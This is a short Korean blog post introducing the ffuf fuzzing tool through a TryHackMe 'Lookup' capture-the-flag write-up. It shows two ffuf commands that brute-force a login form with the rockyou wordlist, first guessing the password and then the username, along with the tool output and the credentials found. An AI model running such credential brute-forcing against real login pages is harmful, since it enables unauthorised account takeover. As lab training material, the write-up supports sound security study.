ByJJoon's Lab

FFuf 툴은 웹 애플리케이션 퍼징(Fuzzing) 툴로 URL이나 POST 값 등에 대해 공격할 수 있다.

공식 사이트 : https://github.com/ffuf/ffuf

Tryhackme 사이트의 Lookup 문제를 푸는 과정에서 해당 툴을 사용하게 되었는데 입력값은 다음과 같다.

$ ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d 'username=admin&password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded" -fw 8 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://lookup.thm/login.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/rockyou.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=admin&password=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 8
________________________________________________

password123             [Status: 200, Size: 74, Words: 10, Lines: 1, Duration: 327ms]

admin / password123을 입력했더니 암호는 맞지만 아이디가 틀린 것으로 나온다. 그래서 ID 값을 다시 확인해보았다.

$ ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d 'username=FUZZ&password=password123' -H "Content-Type: application/x-www-form-urlencoded" -fw 10

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://lookup.thm/login.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/rockyou.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=FUZZ&password=password123
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 10
________________________________________________

jose                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 328ms]

이후 jose / password123으로 로그인을 성공하였다.